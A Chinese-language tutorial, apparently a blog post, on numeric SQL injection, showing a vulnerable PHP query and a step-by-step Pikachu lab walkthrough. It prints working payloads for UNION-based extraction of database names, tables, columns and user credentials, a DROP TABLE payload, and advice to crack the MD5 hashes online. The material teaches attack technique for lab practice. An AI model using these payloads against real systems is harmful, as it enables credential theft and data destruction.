一、数字型注入原理
数字型注入是 SQL 注入中最基础、最常见的类型。其核心场景是 SQL 查询语句中直接拼接数字参数,攻击者通过篡改数字参数,突破代码逻辑,构造恶意 SQL 语句,实现未授权操作。
1. 正常场景示例
假设网站有一个「按 ID 查商品」的功能,前端传 id=1,后端代码(以 PHP 为例)如下:
// 前端传入的参数(数字类型)
$id = $_GET['id'];
// 直接拼接数字到 SQL 语句(无任何过滤)
$sql = "SELECT * FROM goods WHERE id = $id";
// 执行查询
$result = mysqli_query($conn, $sql);
此时正常的 SQL 语句为:
SELECT * FROM goods WHERE id = 1;
2. 攻击者注入原理
由于参数直接拼接数字,攻击者无需闭合引号(与字符型注入不同),只需修改 id 参数的值,即可篡改 SQL 语句逻辑:
步骤一:构造恶意参数
攻击者传入 id=1 OR 1=1,后端拼接后的 SQL 变为:
SELECT * FROM goods WHERE id = 1 OR 1=1;
1=1 是永真条件,结果会查询出表中所有商品数据,突破了「查单个商品」的限制。
步骤二:进一步提权或破坏
- 查询所有用户: 参数:id=-1 UNION SELECT 1,username,password FROM users拼接 SQL:
SELECT * FROM goods WHERE id = -1 UNION SELECT 1,username,password FROM users;
- 删除数据(高危): 参数:id=1; DROP TABLE goods拼接 SQL:
SELECT * FROM goods WHERE id = 1; DROP TABLE goods;
3. 数字型注入的核心特征(快速识别)
- 参数是数字:注入点的参数为数字(如 ID、页码、分类编号等)。
- 无需闭合引号:SQL 语句中没有单/双引号包裹参数(字符型需要 ' 闭合)。
- 用逻辑运算符篡改条件:核心用 OR/AND/UNION/; 等符号构造恶意逻辑。
二、靶场演示:判断数字型注入
通过数字查询页面,可以快速判断注入类型,建议先用 Burp Suite 抓包发到 Repeater 进行测试。

1. 注入判断测试

| 测试 Payload | 页面结果 | 结论 |
| id=3 and 1=1 | 正常显示(或提示「ID存在」) | 逻辑运算符生效 |
| id=3 and 1=2 | 提示「您输入的user id不存在」(无语法报错) | 判定为数字型注入 |
2. 原理分析
为什么会这样?
通常后端业务代码如下:
SELECT * FROM users WHERE id = 2;
- and 串联条件,左右任一条件不成立则查询无结果。1=2 永远不成立,是永假式。
- 输入 id=3 and 1=2,等价于:
SELECT * FROM users WHERE id = 3 AND 1=2;
- 该条件永假,数据库返回空结果,因此页面提示「ID不存在」。
判断技巧:
and 1=2 注入成功(条件变假)→
数字型注入
and 1=2 导致语法报错 →
字符型注入
三、核心注入流程(爆库 → 爆表 → 爆字段 → 爆数据)
前置准备:查询原查询的列数(关键!)
UNION SELECT 要求前后查询的
字段数必须完全一致,否则会报错。我们用 order by 排序法探测列数:
- 逐步测试 Payload:
id=3 order by 1 # 页面正常
id=3 order by 2 # 页面正常
id=3 order by 3 # 页面报错(如「Unknown column '3' in 'order clause'」)
- 结论:报错时的数字 - 1 = 实际列数(如上例列数 = 2)。
提示:order by n 会按第 n 列排序,若 n 超过实际列数,数据库会报错。
通用前提
后续所有注入 Payload 都使用 id=-2(或 9999 等不存在的 ID),目的是让原查询返回空结果,页面只显示注入的恶意数据,避免与正常数据混淆。
就算输入id = 2,也不妨碍最终结果
以上代码是id = 3 union select 1, 2
步骤 1:爆库(查数据库名 + 版本)
目的:获取当前数据库名称和版本信息,为后续查表做准备。
- Payload(假设列数 = 2):
id=-2 union select database(),version()
- 执行 SQL:
SELECT * FROM users WHERE id = -2 UNION SELECT database(), version();
- 预期结果:页面显示当前数据库名(如 pikachu)和 MySQL 版本(如 5.7.36)。
步骤 2:爆表(查当前库的所有表名)
目的:找到存储敏感数据的表(如 users/admin)
id=-2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'
- 关键说明:
- information_schema.tables:MySQL 系统表,存储所有数据库的表信息。
- table_schema='pikachu':限定只查询 pikachu 数据库的表。
- group_concat(table_name):将所有表名拼接成一行,避免分页读取。
- 预期结果:页面显示 users,news,message 等表名,快速定位敏感表。
这串代码我没有把 id=-2 union select database(),version() 删除
步骤 3:爆字段(查敏感表的所有列名)
目的:明确敏感表(如 users)的字段结构,知道要窃取哪些列的数据。
- Payload:
id=-2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'
- 关键说明:
- information_schema.columns:MySQL 系统表,存储所有表的字段信息。
- table_name='users':限定只查询 users 表的字段。
- 预期结果:页面显示 id,username,password 等字段名。
步骤 4:爆数据(窃取账号密码)
目的:最终读取敏感表中的账号、密码等核心数据。
- Payload:
id=-2 union select group_concat(username),group_concat(password) from users
- 预期结果:页面显示 admin,21232f297a57a5a743894a0e4a801fc3(密码通常为 MD5 加密)。
- MD5 解密:复制加密串到在线解密网站(如 CMD5),即可还原明文密码。
四、UNION SELECT 关键字解析
1. UNION 的原生作用
UNION 是 SQL 运算符,用于
合并多个
SELECT
查询的结果集,但有严格规则:
- 前后查询的字段数必须完全一致;
- 字段数据类型必须兼容。
示例:
-- 原查询:查商品表的ID和名称
SELECT id, name FROM goods WHERE id = 1;
-- 用 UNION 合并:商品表 + 用户表的结果
SELECT id, name FROM goods WHERE id = 1
UNION
SELECT id, username FROM users;
执行后,返回「商品数据 + 用户数据」的合并列表 —— 这也是攻击者利用的核心逻辑。
2. SQL 注入中 UNION SELECT 的攻击原理
攻击者通过篡改参数,把 UNION SELECT 拼接到原 SQL 中,让数据库执行「原查询 + 恶意查询」,返回原本无权查看的数据。
数字型注入举例:
- 正常场景:前端传 id=1,后端执行:
SELECT id, name, price FROM goods WHERE id = 1;
返回:1, 手机, 2999(仅商品数据)。
- 注入场景:攻击者传 id=-1 UNION SELECT 1, username, password FROM users(-1 让原查询无结果),后端执行:
SELECT id, name, price FROM goods WHERE id = -1
UNION
SELECT 1, username, password FROM users;
返回:1, admin, 123456(攻击者窃取到用户表账号密码)。
3. UNION SELECT 注入的核心规则
- 字段数匹配:原查询有多少个字段,UNION SELECT 后就要有多少个字段。 例:原查询 SELECT id, name, price(3 个字段),注入时必须写 UNION SELECT 1,2,3(3 个字段)。
- 原查询需无结果:用 -2/9999 等不存在的 ID,让原查询返回空,页面只显示注入结果。

2122

被折叠的 条评论
为什么被折叠?



